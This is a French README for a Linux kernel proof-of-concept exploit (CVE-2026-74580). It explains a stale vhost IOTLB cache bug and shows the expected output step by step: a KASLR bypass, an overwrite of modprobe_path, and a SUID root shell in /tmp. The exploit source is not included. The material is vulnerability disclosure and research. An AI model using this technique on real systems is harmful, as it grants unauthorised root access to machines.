
Preuve de concept en C pour CVE-2026-74580 : exploite un cache de métadonnées IOTLB de vhost obsolète pour écraser modprobe_path et élever les privilèges vers root sur les hôtes Linux x86-64.
Code original et fichier readme provenant de : https://github.com/zhangutah/security-research
Sortie attendue :
./poc
=== vhost stale IOTLB metadata cache -> modprobe_path write ===
[*] static: _stext=0xffffffff81000000 asm_exc_de=0xffffffff81001030 modprobe_path=0xffffffff83731920
[*] modprobe_path before: "/tmp/pwn"
[*] Step 1: KASLR bypass via IDT[0]
[*] reading IDT[0] @ 0xfffffe0000000000
[+] asm_exc_divide_error runtime 0xffffffffa4e01030, slide 0x23e00000
[+] runtime modprobe_path @ 0xffffffffa7531920
[*] Step 2: overwriting modprobe_path with a marker
[+] kwrite_str: "/tmp/pwn" -> 0xffffffffa7531920
[*] Step 3: verifying via /proc/sys/kernel/modprobe
[*] modprobe_path after: "/tmp/pwn"
[*] Step 4: Privilege Escalation
[+] Triggered request_module() call.
[+] SUID shell created at /tmp/sh
[*] Exec shell at /tmp/sh ...
sh-5.3# whoami
root
vq->meta_iotlb[] met en cache la correspondance IOTLB derrière chaque région de métadonnées de vring
(desc / avail / used). VHOST_SET_VRING_ADDR et VHOST_SET_VRING_NUM
ne réinitialisent pas ce cache. Avec un IOTLB de périphérique attaché, un vq actif peut traduire
un vring reconfiguré via une correspondance qui ne le couvre plus.
vhost_vq_meta_fetch() n'effectue aucune vérification de plage, et le résultat est transmis à
__copy_to_user() / __copy_from_user().
Le même cache obsolète est atteignable depuis un invité lorsque vhost s'exécute en mode IOTLB de périphérique
(VIRTIO_F_ACCESS_PLATFORM / vIOMMU) et que l'invité réinitialise une virtqueue
via VIRTIO_F_RING_RESET. Ce chemin n'est pas celui de ce PoC.
de845981da67poc.c est un PoC hôte x86-64 ciblant /dev/vhost-vsock. Il ouvre un shell root avec euid=0. Il crée /tmp/sh avec le bit suid root. Supprimez le fichier après un test manuel !
cc -O2 -Wall -Wextra -o poc poc.c
./poc
La recherche de symboles utilise, dans l'ordre : $SYSTEM_MAP, /boot/System.map-$(uname -r),
/usr/lib/modules/$(uname -r)/build/System.map. modprobe_path doit être
présent ; asm_exc_divide_error retombe sur une adresse statique s'il est absent.
Le processus doit pouvoir ouvrir /dev/vhost-vsock. Certaines images fournissent ce nœud
en 0666 ; d'autres en 0660 root:kvm.
À exécuter uniquement sur un système de test jetable que vous possédez.